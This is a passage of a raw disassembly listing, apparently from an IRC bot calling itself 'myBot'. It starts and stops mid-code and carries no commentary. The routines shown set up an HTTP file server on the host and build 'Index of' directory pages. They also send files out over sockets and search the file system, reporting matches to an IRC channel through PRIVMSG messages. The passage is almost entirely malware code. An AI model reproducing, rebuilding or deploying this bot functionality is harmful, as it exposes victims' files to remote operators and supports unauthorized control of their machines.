40h jnb short loc_40ED6E mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40ED6E: ; CODE XREF: sub_40EBF0+163j ; sub_40EBF0+168j cmp eax, [ebp+var_8] jbe loc_40EFC7 mov [ebp+var_8], eax jmp loc_40EFC7 ; --------------------------------------------------------------------------- loc_40ED7F: ; CODE XREF: sub_40EBF0+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41B190 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B190 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4E08B8 test eax, eax jg short loc_40EE12 push esi call dword_4E0934 xor ecx, ecx test ebx, ebx jbe loc_40EFC7 lea eax, [ebp+var_134] loc_40EDD1: ; CODE XREF: sub_40EBF0+1EBj cmp [eax], esi jz short loc_40EDE2 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40EDD1 jmp loc_40EFC7 ; --------------------------------------------------------------------------- loc_40EDE2: ; CODE XREF: sub_40EBF0+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40EE06 lea eax, [ebp+ecx*4+var_134] loc_40EDF0: ; CODE XREF: sub_40EBF0+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40EDF0 loc_40EE06: ; CODE XREF: sub_40EBF0+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40EFC7 ; --------------------------------------------------------------------------- loc_40EE12: ; CODE XREF: sub_40EBF0+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41B190 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_418D00 add esp, 10h test eax, eax jbe loc_40EFC7 loc_40EE40: ; CODE XREF: sub_40EBF0+30Fj mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40EEEB lea eax, [ebp+var_18F0] push offset aGet ; "GET " push eax call sub_41B890 pop ecx test eax, eax pop ecx jz short loc_40EEBF lea eax, [ebp+var_18F0] push eax call sub_418D00 cmp eax, 5 pop ecx jbe short loc_40EEBF push offset asc_44B820 ; " " push offset asc_44B824 ; " " lea eax, [ebp+var_18F0] push offset aGet_0 ; "GET " push eax call sub_41B890 pop ecx pop ecx push eax call sub_41B890 pop ecx pop ecx push eax call sub_41C550 push eax lea eax, [ebp+var_23C] push eax call sub_41C300 add esp, 10h jmp short loc_40EED6 ; --------------------------------------------------------------------------- loc_40EEBF: ; CODE XREF: sub_40EBF0+27Ej ; sub_40EBF0+290j lea eax, [ebp+var_18F0] push offset asc_44B830 ; "\r\n" push eax call sub_41C4C0 pop ecx test eax, eax pop ecx jz short loc_40EF0A loc_40EED6: ; CODE XREF: sub_40EBF0+2CDj push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B190 add esp, 0Ch or esi, 0FFFFFFFFh loc_40EEEB: ; CODE XREF: sub_40EBF0+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_418D00 cmp [ebp+arg_0], eax pop ecx jb loc_40EE40 jmp loc_40EFC7 ; --------------------------------------------------------------------------- loc_40EF0A: ; CODE XREF: sub_40EBF0+2E4j xor ecx, ecx test ebx, ebx jbe short loc_40EF54 lea eax, [ebp+var_134] loc_40EF16: ; CODE XREF: sub_40EBF0+333j mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40EF27 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40EF16 jmp short loc_40EF57 ; --------------------------------------------------------------------------- loc_40EF27: ; CODE XREF: sub_40EBF0+32Bj lea eax, [ebx-1] cmp ecx, eax jnb short loc_40EF4B lea eax, [ebp+ecx*4+var_134] loc_40EF35: ; CODE XREF: sub_40EBF0+359j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40EF35 loc_40EF4B: ; CODE XREF: sub_40EBF0+33Cj dec ebx mov [ebp+var_138], ebx jmp short loc_40EF57 ; --------------------------------------------------------------------------- loc_40EF54: ; CODE XREF: sub_40EBF0+31Ej mov esi, [ebp+var_4] loc_40EF57: ; CODE XREF: sub_40EBF0+335j ; sub_40EBF0+362j lea eax, [ebp+var_23C] test eax, eax jz short loc_40EFC0 lea eax, [ebp+var_360] push eax call sub_418D00 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_418D00 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40EFC0 and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4E0938 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_40F1D3 add esp, 14h jmp short loc_40EFC7 ; --------------------------------------------------------------------------- loc_40EFC0: ; CODE XREF: sub_40EBF0+36Fj ; sub_40EBF0+395j push esi call dword_4E0934 loc_40EFC7: ; CODE XREF: sub_40EBF0+11Dj ; sub_40EBF0+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40ECFD jmp loc_40ECC7 ; --------------------------------------------------------------------------- loc_40EFDC: ; CODE XREF: sub_40EBF0+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40EFE1: ; CODE XREF: sub_40EBF0+6Aj ; sub_40EBF0+92j ... call dword_4E083C push eax lea eax, [ebp+var_8F0] push offset unk_44B834 push eax call sub_41B740 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40F027 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_408EB9 add esp, 14h loc_40F027: ; CODE XREF: sub_40EBF0+412j lea eax, [ebp+var_8F0] push eax call sub_41458A pop ecx push edi call dword_4E0934 push [ebp+var_254] call sub_40AB19 pop ecx push ebx call dword_4F1388 ; ExitThread pop edi pop esi pop ebx sub_40EBF0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F051 proc near ; DATA XREF: sub_40F1D3+246o var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41BC60 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41B740 lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_654] push eax call sub_41B740 xor edi, edi add esp, 10h cmp [ebp+var_A4], edi jz short loc_40F0B6 push offset aTextHtml ; "text/html" jmp short loc_40F0BB ; --------------------------------------------------------------------------- loc_40F0B6: ; CODE XREF: sub_40F051+5Cj push offset aApplicationOct ; "application/octet-stream" loc_40F0BB: ; CODE XREF: sub_40F051+63j lea eax, [ebp+var_9C] push eax call sub_41B740 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call dword_4F13C0 ; GetDateFormatA lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call dword_4F13BC ; GetTimeFormatA lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_40F134 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B740 add esp, 24h jmp short loc_40F155 ; --------------------------------------------------------------------------- loc_40F134: ; CODE XREF: sub_40F051+C4j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B740 add esp, 28h loc_40F155: ; CODE XREF: sub_40F051+E1j lea eax, [ebp+var_1654] push edi push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_4E08EC cmp [ebp+var_A4], edi jnz short loc_40F195 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_40FB05 pop ecx pop ecx jmp short loc_40F1B2 ; --------------------------------------------------------------------------- loc_40F195: ; CODE XREF: sub_40F051+12Cj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_40F483 add esp, 10h loc_40F1B2: ; CODE XREF: sub_40F051+142j push [ebp+var_44C] call dword_4E0934 push [ebp+var_B4] call sub_40AB19 pop ecx push edi call dword_4F1388 ; ExitThread pop edi pop esi sub_40F051 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F1D3 proc near ; CODE XREF: sub_40EBF0+3C6p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41B190 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_40F209 push eax push offset aS_20 ; "\\%s" jmp short loc_40F212 ; --------------------------------------------------------------------------- loc_40F209: ; CODE XREF: sub_40F1D3+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_21 ; "%s" loc_40F212: ; CODE XREF: sub_40F1D3+34j lea eax, [ebp+var_10C] push eax call sub_41B740 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_418D00 test eax, eax pop ecx jbe short loc_40F2AD mov [ebp+arg_8], 2 loc_40F23D: ; CODE XREF: sub_40F1D3+D8j lea eax, [ebp+var_10C] push eax call sub_418D00 cmp [ebp+arg_8], eax pop ecx jnb short loc_40F27D cmp [ebp+esi+var_10C], 25h jnz short loc_40F27D cmp [ebp+esi+var_10B], 32h jnz short loc_40F27D cmp [ebp+esi+var_10A], 30h jnz short loc_40F27D inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_40F297 ; --------------------------------------------------------------------------- loc_40F27D: ; CODE XREF: sub_40F1D3+7Aj ; sub_40F1D3+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40F28D push 5Ch pop eax jmp short loc_40F290 ; --------------------------------------------------------------------------- loc_40F28D: ; CODE XREF: sub_40F1D3+B3j movsx eax, al loc_40F290: ; CODE XREF: sub_40F1D3+B8j mov [ebp+ebx+var_210], al loc_40F297: ; CODE XREF: sub_40F1D3+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_418D00 cmp esi, eax pop ecx jb short loc_40F23D loc_40F2AD: ; CODE XREF: sub_40F1D3+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset aSS_2 ; "%s%s" push eax call sub_41B740 lea eax, [ebp+var_314] push offset asc_44BA80 ; "\n" push eax call sub_41C550 add esp, 18h lea eax, [ebp+var_314] push eax call dword_4F1354 ; GetFileAttributesA push 1 cmp eax, 10h pop esi jz short loc_40F2FB cmp eax, 0FFFFFFFFh jnz short loc_40F2FE push [ebp+arg_0] jmp short loc_40F37A ; --------------------------------------------------------------------------- loc_40F2FB: ; CODE XREF: sub_40F1D3+11Cj mov [ebp+var_4], esi loc_40F2FE: ; CODE XREF: sub_40F1D3+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40F30B mov [ebp+var_4], esi loc_40F30B: ; CODE XREF: sub_40F1D3+133j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_40F385 cmp [ebp+arg_C], edi jz short loc_40F379 lea eax, [ebp+var_314] push offset asc_44BA84 ; "*" push eax call sub_41C310 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41B740 lea eax, [ebp+var_210] push eax call sub_40FBC2 lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41B740 add esp, 1Ch or [ebp+var_330], 0FFFFFFFFh mov [ebp+var_31C], esi jmp short loc_40F3D4 ; --------------------------------------------------------------------------- loc_40F379: ; CODE XREF: sub_40F1D3+14Fj push ebx loc_40F37A: ; CODE XREF: sub_40F1D3+126j call dword_4E0934 jmp loc_40F47C ; --------------------------------------------------------------------------- loc_40F385: ; CODE XREF: sub_40F1D3+14Aj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax call dword_4F13A8 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40F3D4 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41B740 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call dword_4F13C4 ; GetFileSize push esi mov [ebp+var_330], eax call dword_4F1324 ; CloseHandle loc_40F3D4: ; CODE XREF: sub_40F1D3+1A4j ; sub_40F1D3+1CFj mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_44BA88 push eax call sub_41B740 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40A7FD mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_4537CC[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40F051 push edi push edi call dword_4F1338 ; CreateThread mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_4537DC[ecx], eax jz short loc_40F44E loc_40F43C: ; CODE XREF: sub_40F1D3+279j cmp [ebp+var_318], edi jnz short loc_40F47C push 5 call dword_4F1334 ; Sleep jmp short loc_40F43C ; --------------------------------------------------------------------------- loc_40F44E: ; CODE XREF: sub_40F1D3+267j push ebx call dword_4E0934 call dword_4F1348 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_8C4] push offset unk_44BABC push eax call sub_41B740 lea eax, [ebp+var_8C4] push eax call sub_41458A add esp, 10h loc_40F47C: ; CODE XREF: sub_40F1D3+1ADj ; sub_40F1D3+26Fj pop edi pop esi xor eax, eax pop ebx leave retn sub_40F1D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F483 proc near ; CODE XREF: sub_401CC1+6AEFp ; sub_40F051+159p var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41B190 mov edi, [ebp+arg_0] push offset asc_44BAF4 ; "\n" push edi call sub_41C550 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_40F4E2 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41B910 add esp, 14h jmp loc_40F5DF ; --------------------------------------------------------------------------- loc_40F4E2: ; CODE XREF: sub_40F483+3Aj cmp [ebp+arg_C], ebx push edi jz loc_40F5C5 call sub_418D00 mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41B910 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E08EC push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41B910 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E08EC push edi call sub_418D00 push 3Ch push 96h mov byte ptr [eax+edi], 2Ah push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41B910 add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E08EC push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41B910 add esp, 0Ch jmp short loc_40F5DF ; --------------------------------------------------------------------------- loc_40F5C5: ; CODE XREF: sub_40F483+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B910 add esp, 10h loc_40F5DF: ; CODE XREF: sub_40F483+5Aj ; sub_40F483+140j lea eax, [ebp+var_248] push ebx push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E08EC cmp [ebp+arg_C], ebx jz short loc_40F677 push [ebp+arg_C] call sub_418D00 cmp eax, 2 pop ecx jbe short loc_40F677 push [ebp+arg_C] call sub_418D00 sub eax, 3 pop ecx jz short loc_40F62B loc_40F61F: ; CODE XREF: sub_40F483+1A6j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_40F62B dec eax jnz short loc_40F61F loc_40F62B: ; CODE XREF: sub_40F483+19Aj ; sub_40F483+1A3j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41B1F0 lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41B910 add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E08EC loc_40F677: ; CODE XREF: sub_40F483+17Ej ; sub_40F483+18Cj lea eax, [ebp+var_388] push eax push edi call dword_4F13D8 ; FindFirstFileA lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call dword_4F13D4 ; FindNextFileA test eax, eax jz loc_40FA68 mov edi, 1FFh loc_40F6A3: ; CODE XREF: sub_40F483+5DFj cmp [ebp+var_388], ebx jz loc_40FA50 lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40FA50 lea eax, [ebp+var_35C] push offset a__1 ; "." push eax call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40FA50 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call dword_4F13D0 ; FileTimeToLocalFileTime lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call dword_4F13CC ; FileTimeToSystemTime mov ax, [ebp+var_10] mov ecx, offset aPm_0 ; "PM" cmp ax, 0Ch ja short loc_40F718 mov ecx, offset aAm ; "AM" loc_40F718: ; CODE XREF: sub_40F483+28Ej cmp ax, 0Ch movzx eax, ax jbe short loc_40F724 sub eax, 0Ch loc_40F724: ; CODE XREF: sub_40F483+29Cj push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41B740 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_40F8D1 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_40F7A5 lea eax, [ebp+var_35C] push eax push offset aS_22 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B910 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push esi push eax call sub_41B910 add esp, 28h jmp loc_40FA21 ; --------------------------------------------------------------------------- loc_40F7A5: ; CODE XREF: sub_40F483+2DBj cmp [ebp+arg_C], ebx jz loc_40F88F push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B910 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E08EC lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_3 ; "%s%s/" push edi push eax call sub_41B910 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E08EC lea eax, [ebp+var_35C] push eax call sub_418D00 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40F845 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_40F84A ; --------------------------------------------------------------------------- loc_40F845: ; CODE XREF: sub_40F483+3B9j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_40F84A: ; CODE XREF: sub_40F483+3C0j lea eax, [ebp+var_248] push edi push eax call sub_41B910 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E08EC lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FA12 ; --------------------------------------------------------------------------- loc_40F88F: ; CODE XREF: sub_40F483+325j lea eax, [ebp+var_35C] push eax push offset aS_23 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B910 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_40F8BC: ; CODE XREF: sub_40F483+476j lea eax, [ebp+var_248] push esi push eax call sub_41B910 add esp, 24h jmp loc_40FA21 ; --------------------------------------------------------------------------- loc_40F8D1: ; CODE XREF: sub_40F483+2CFj inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40F8FB push ebx push [ebp+var_368] call sub_414F46 push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_40F8BC ; --------------------------------------------------------------------------- loc_40F8FB: ; CODE XREF: sub_40F483+454j cmp [ebp+arg_C], ebx jz loc_40F9FB push 0E6h push offset aTrTdWidthDAH_0 ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B910 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E08EC lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_4 ; "%s%s" push edi push eax call sub_41B910 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E08EC lea eax, [ebp+var_35C] push eax call sub_418D00 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40F99B push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_40F9A0 ; --------------------------------------------------------------------------- loc_40F99B: ; CODE XREF: sub_40F483+50Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_40F9A0: ; CODE XREF: sub_40F483+516j lea eax, [ebp+var_248] push edi push eax call sub_41B910 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E08EC mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp+var_248] push edi push eax call sub_41B910 add esp, 1Ch jmp short loc_40FA21 ; --------------------------------------------------------------------------- loc_40F9FB: ; CODE XREF: sub_40F483+47Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push esi loc_40FA12: ; CODE XREF: sub_40F483+407j lea eax, [ebp+var_248] push eax call sub_41B910 add esp, 18h loc_40FA21: ; CODE XREF: sub_40F483+31Dj ; sub_40F483+449j ... lea eax, [ebp+var_248] push ebx push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E08EC cmp [ebp+arg_8], ebx jz short loc_40FA50 push 7D0h call dword_4F1334 ; Sleep loc_40FA50: ; CODE XREF: sub_40F483+226j ; sub_40F483+241j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call dword_4F13D4 ; FindNextFileA test eax, eax jnz loc_40F6A3 loc_40FA68: ; CODE XREF: sub_40F483+215j push [ebp+arg_0] call dword_4F13C8 ; FindClose cmp [ebp+arg_8], ebx jz short loc_40FAAB mov eax, [ebp+var_8] cdq push edx push eax call sub_414F46 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_414F46 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41B740 add esp, 14h jmp short loc_40FADF ; --------------------------------------------------------------------------- loc_40FAAB: ; CODE XREF: sub_40F483+5F1j cmp [ebp+arg_C], ebx jz short loc_40FAC5 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41B740 pop ecx pop ecx jmp short loc_40FADF ; --------------------------------------------------------------------------- loc_40FAC5: ; CODE XREF: sub_40F483+62Bj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41B740 add esp, 10h loc_40FADF: ; CODE XREF: sub_40F483+626j ; sub_40F483+640j lea eax, [ebp+var_248] push ebx push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4E08EC pop edi pop esi xor eax, eax pop ebx leave retn sub_40F483 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FB05 proc near ; CODE XREF: sub_40F051+13Bp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call dword_4F13A8 ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40FBBD push esi push ebx call dword_4F13C4 ; GetFileSize cmp eax, esi mov [ebp+arg_4], eax jz short loc_40FBB6 loc_40FB4A: ; CODE XREF: sub_40FB05+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41B190 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_40FB67 mov edi, [ebp+arg_4] loc_40FB67: ; CODE XREF: sub_40FB05+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call dword_4F13DC ; SetFilePointer lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call dword_4F13A4 ; ReadFile push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4E08EC cmp eax, 0FFFFFFFFh jnz short loc_40FBB1 call dword_4E083C cmp eax, 2733h jnz short loc_40FBB6 xor eax, eax loc_40FBB1: ; CODE XREF: sub_40FB05+9Bj sub [ebp+arg_4], eax jnz short loc_40FB4A loc_40FBB6: ; CODE XREF: sub_40FB05+43j ; sub_40FB05+A8j push ebx call dword_4F1324 ; CloseHandle loc_40FBBD: ; CODE 